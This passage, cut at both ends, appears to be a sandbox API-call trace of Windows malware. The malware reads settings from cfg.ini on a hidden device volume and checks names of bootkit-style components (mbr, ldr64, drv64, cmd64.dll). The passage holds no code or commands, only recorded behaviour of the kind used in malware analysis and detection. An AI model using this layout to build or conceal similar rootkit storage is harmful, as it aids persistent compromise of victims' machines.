returned 0x0 [0122.510] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.510] KeLeaveCriticalRegion () [0122.510] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.510] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.510] KeEnterCriticalRegion () [0122.510] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.510] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.510] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.510] KeLeaveCriticalRegion () [0122.510] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.510] KeEnterCriticalRegion () [0122.510] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.511] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.511] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be6070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.511] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.511] KeLeaveCriticalRegion () [0122.511] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.511] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.511] KeEnterCriticalRegion () [0122.511] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.511] ExFreePoolWithTag (P=0xfffffa8003be6da0, Tag=0x0) [0122.511] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.511] KeLeaveCriticalRegion () [0122.511] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.511] ReleaseMutex (hMutex=0xf0) returned 1 [0122.511] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.511] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.511] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.511] KeEnterCriticalRegion () [0122.511] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.511] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.511] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.511] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.511] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.511] IdePortDispatch () returned 0x103 [0122.511] KeWaitForMutexObject () returned 0x0 [0122.511] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.511] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.511] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.511] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.511] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.511] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6a60 [0122.511] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.511] KeLeaveCriticalRegion () [0122.511] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.511] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.511] KeEnterCriticalRegion () [0122.511] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.511] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.511] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.512] KeLeaveCriticalRegion () [0122.512] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.512] KeEnterCriticalRegion () [0122.512] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.512] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.512] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.512] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.512] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.512] IdePortDispatch () returned 0x103 [0122.512] KeWaitForMutexObject () returned 0x0 [0122.512] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.512] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.512] KeLeaveCriticalRegion () [0122.512] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.512] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.512] KeEnterCriticalRegion () [0122.512] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.512] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca6000 [0122.512] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.512] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.512] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.512] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.512] IdePortDispatch () returned 0x103 [0122.512] KeWaitForMutexObject () returned 0x0 [0122.512] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.512] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.512] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.512] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.512] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.512] IdePortDispatch () returned 0x103 [0122.513] KeWaitForMutexObject () returned 0x0 [0122.513] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.513] KeLeaveCriticalRegion () [0122.513] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.513] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.513] KeEnterCriticalRegion () [0122.513] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.513] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.513] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.513] KeLeaveCriticalRegion () [0122.513] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.513] KeEnterCriticalRegion () [0122.513] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.513] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.513] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be6b20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.513] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.513] KeLeaveCriticalRegion () [0122.513] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.513] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.513] KeEnterCriticalRegion () [0122.513] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.514] ExFreePoolWithTag (P=0xfffffa8003be6a60, Tag=0x0) [0122.514] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.514] KeLeaveCriticalRegion () [0122.514] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.514] ReleaseMutex (hMutex=0xf0) returned 1 [0122.514] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.514] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.514] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.514] KeEnterCriticalRegion () [0122.514] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.514] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.514] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.514] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.514] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.514] IdePortDispatch () returned 0x103 [0122.514] KeWaitForMutexObject () returned 0x0 [0122.514] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.514] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.514] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.514] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.514] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.514] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3fb0 [0122.514] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.514] KeLeaveCriticalRegion () [0122.514] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.514] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.514] KeEnterCriticalRegion () [0122.514] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.514] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.514] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.514] KeLeaveCriticalRegion () [0122.514] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.514] KeEnterCriticalRegion () [0122.514] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.514] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.515] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.515] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.515] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.515] IdePortDispatch () returned 0x103 [0122.515] KeWaitForMutexObject () returned 0x0 [0122.515] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.515] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.515] KeLeaveCriticalRegion () [0122.515] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.515] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.515] KeEnterCriticalRegion () [0122.515] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.515] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca7000 [0122.515] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.515] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.515] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.515] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.515] IdePortDispatch () returned 0x103 [0122.515] KeWaitForMutexObject () returned 0x0 [0122.515] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.515] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.515] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.515] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.515] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.515] IdePortDispatch () returned 0x103 [0122.515] KeWaitForMutexObject () returned 0x0 [0122.516] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.516] KeLeaveCriticalRegion () [0122.516] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.516] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.516] KeEnterCriticalRegion () [0122.516] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.516] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.516] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.516] KeLeaveCriticalRegion () [0122.516] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.516] KeEnterCriticalRegion () [0122.516] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.516] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.516] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be59f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.516] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.516] KeLeaveCriticalRegion () [0122.516] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.516] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.516] KeEnterCriticalRegion () [0122.516] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.516] ExFreePoolWithTag (P=0xfffffa8003be3fb0, Tag=0x0) [0122.516] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.516] KeLeaveCriticalRegion () [0122.516] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.516] ReleaseMutex (hMutex=0xf0) returned 1 [0122.516] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.517] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.517] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.517] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.517] KeEnterCriticalRegion () [0122.517] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.517] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.517] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.517] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.517] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.517] IdePortDispatch () returned 0x103 [0122.517] KeWaitForMutexObject () returned 0x0 [0122.517] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.517] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.517] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.517] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.517] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.517] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.517] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.517] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.517] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.517] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.517] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.517] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.517] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.517] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.517] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.517] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.517] KeLeaveCriticalRegion () [0122.517] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.517] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.517] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.517] KeEnterCriticalRegion () [0122.517] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.517] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.517] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.517] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.517] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.517] IdePortDispatch () returned 0x103 [0122.518] KeWaitForMutexObject () returned 0x0 [0122.518] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.518] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.518] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.518] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.518] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.518] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.518] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.518] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.518] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.518] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.518] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.518] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.518] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.518] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.518] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.518] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.518] KeLeaveCriticalRegion () [0122.518] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.518] ReleaseMutex (hMutex=0x100) returned 1 [0122.518] Sleep (dwMilliseconds=0x2bf20) [0122.524] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c398710, dwHighDateTime=0x1d24fa4)) [0122.524] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.524] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.524] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.524] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.524] KeEnterCriticalRegion () [0122.524] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.524] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.524] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.524] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.524] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.524] IdePortDispatch () returned 0x103 [0122.525] KeWaitForMutexObject () returned 0x0 [0122.525] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.525] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.525] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.525] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.525] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.525] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc3940 [0122.525] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.525] KeLeaveCriticalRegion () [0122.525] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.525] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.525] KeEnterCriticalRegion () [0122.525] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.525] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.525] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | 